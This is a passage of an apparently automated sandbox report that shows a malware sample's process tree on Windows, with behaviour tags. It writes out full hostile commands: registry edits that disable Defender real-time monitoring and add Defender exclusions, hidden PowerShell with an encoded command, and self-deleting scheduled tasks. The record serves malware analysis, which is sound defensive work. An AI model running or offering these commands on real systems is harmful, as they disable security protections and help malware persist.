                              • C:\Windows\system32\conhost.exe
                                C:\Windows\system32\conhost.exe
                                2⤵
                                  PID:2304
                                • C:\Windows\system32\cmd.exe
                                  cmd.exe
                                  2⤵
                                  • Blocklisted process makes network request
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2532
                              • C:\Windows\system32\taskeng.exe
                                taskeng.exe {12EBFE86-DE47-4461-A6A7-C86DF288F3C2} S-1-5-21-1506706701-1246725540-2219210854-1000:MUYDDIIS\Admin:Interactive:[1]
                                1⤵
                                  PID:2640
                                  • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                    C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                    2⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:2960
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                    2⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2040
                                    • C:\Windows\system32\gpupdate.exe
                                      "C:\Windows\system32\gpupdate.exe" /force
                                      3⤵
                                        PID:768
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                      2⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Drops file in System32 directory
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2836
                                      • C:\Windows\system32\gpupdate.exe
                                        "C:\Windows\system32\gpupdate.exe" /force
                                        3⤵
                                          PID:2260
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                        2⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Drops file in System32 directory
                                        PID:1708
                                        • C:\Windows\system32\gpupdate.exe
                                          "C:\Windows\system32\gpupdate.exe" /force
                                          3⤵
                                            PID:2788
                                        • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                          C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:3048
                                        • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                          C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:1492
                                        • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                          C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:892
                                      • C:\Windows\system32\taskeng.exe
                                        taskeng.exe {55EC98C7-91F6-4F97-A9DB-6D3C98B07155} S-1-5-18:NT AUTHORITY\System:Service:
                                        1⤵
                                          PID:2160
                                          • C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB\LEUXBcbvazrcGrF\GLGzunO.exe
                                            C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB\LEUXBcbvazrcGrF\GLGzunO.exe NE /nudidi 385121 /S
                                            2⤵
                                            • Executes dropped EXE
                                            • Drops file in System32 directory
                                            • System Location Discovery: System Language Discovery
                                            • Modifies data under HKEY_USERS
                                            PID:956
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                              3⤵
                                                PID:2784
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                  4⤵
                                                  • Indirect Command Execution
                                                  PID:1768
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:1940
                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                        6⤵
                                                          PID:1948
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                      4⤵
                                                      • Indirect Command Execution
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2904
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                        5⤵
                                                          PID:2860
                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                            6⤵
                                                              PID:2120
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                          4⤵
                                                          • Indirect Command Execution
                                                          PID:1552
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                            5⤵
                                                              PID:2852
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                6⤵
                                                                  PID:2808
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                              4⤵
                                                              • Indirect Command Execution
                                                              PID:296
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                5⤵
                                                                  PID:2144
                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                    6⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2572
                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                4⤵
                                                                • Indirect Command Execution
                                                                PID:2076
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                  5⤵
                                                                    PID:2660
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                      6⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Drops file in System32 directory
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2472
                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                        7⤵
                                                                          PID:1844
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /CREATE /TN "gtTevuHOJ" /SC once /ST 00:52:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                  3⤵
                                                                  • Scheduled Task/Job: Scheduled Task
                                                                  PID:1484
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /run /I /tn "gtTevuHOJ"
                                                                  3⤵
                                                                    PID:2836
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /DELETE /F /TN "gtTevuHOJ"
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2316
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3048
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
                                                                      4⤵
                                                                      • Modifies Windows Defender Real-time Protection settings
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:2076
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                                    3⤵
                                                                      PID:1764
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
                                                                        4⤵
                                                                        • Modifies Windows Defender Real-time Protection settings
                                                                        PID:2172
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /CREATE /TN "gBTKhLkyq" /SC once /ST 01:06:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Scheduled Task/Job: Scheduled Task
                                                                      PID:1012
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /run /I /tn "gBTKhLkyq"
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1620
                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                      schtasks /DELETE /F /TN "gBTKhLkyq"
                                                                      3⤵
                                                                        PID:1056
                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                        3⤵
                                                                        • Indirect Command Execution
                                                                        PID:2996
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:2528
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                            5⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            • Drops file in System32 directory
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2992
                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                              6⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2520
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                        3⤵
                                                                          PID:2072
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                            4⤵
                                                                            • Windows security bypass
                                                                            PID:2764
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                          3⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:2960
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                            4⤵
                                                                            • Windows security bypass
                                                                            PID:2448
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:2944
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                              4⤵
                                                                                PID:2848
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                              3⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1068
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                                4⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1496
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd /C copy nul "C:\Windows\Temp\VLvKqTazivYGshTO\bbkRnkRY\USnAOeEQLoHRkAuq.wsf"
                                                                              3⤵
                                                                                PID:2728
                                                                              • C:\Windows\SysWOW64\wscript.exe
                                                                                wscript "C:\Windows\Temp\VLvKqTazivYGshTO\bbkRnkRY\USnAOeEQLoHRkAuq.wsf"
                                                                                3⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:2932
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1020
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2628
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2552
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1252
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:632
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2104
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1344
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:1788
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1488
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2452
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NUEAEvpmbtRdsZVB" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2172
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NUEAEvpmbtRdsZVB" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2404
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2380
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1668
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:1372
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  PID:2196
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2948
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\VLvKqTazivYGshTO" /t REG_DWORD /d 0 /reg:64
                                                                                  4⤵
                                                                                  • Windows security bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2276
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:32
                                                                                  4⤵
                                                                                    PID:2476
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EKfHLQOzikZzC" /t REG_DWORD /d 0 /reg:64
                                                                                    4⤵
                                                                                      PID:2680
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2296
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TcokmJWkeMGVDHpHTSR" /t REG_DWORD /d 0 /reg:64
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2376
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2392
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kVyftiaSU" /t REG_DWORD /d 0 /reg:64
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:888
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                        PID:1796
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\linOwUtCTeUn" /t REG_DWORD /d 0 /reg:64
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2356
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:2744
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vECSWYHhNEBU2" /t REG_DWORD /d 0 /reg:64
                                                                                          4⤵
                                                                                            PID:1732
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NUEAEvpmbtRdsZVB" /t REG_DWORD /d 0 /reg:32
                                                                                            4⤵
                                                                                              PID:1524
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NUEAEvpmbtRdsZVB" /t REG_DWORD /d 0 /reg:64
                                                                                              4⤵
                                                                                                PID:2996
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                4⤵
                                                                                                  PID:1964
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                  4⤵
                                                                                                    PID:2764
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB" /t REG_DWORD /d 0 /reg:32
                                                                                                    4⤵
                                                                                                      PID:1944
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                        PID:1028
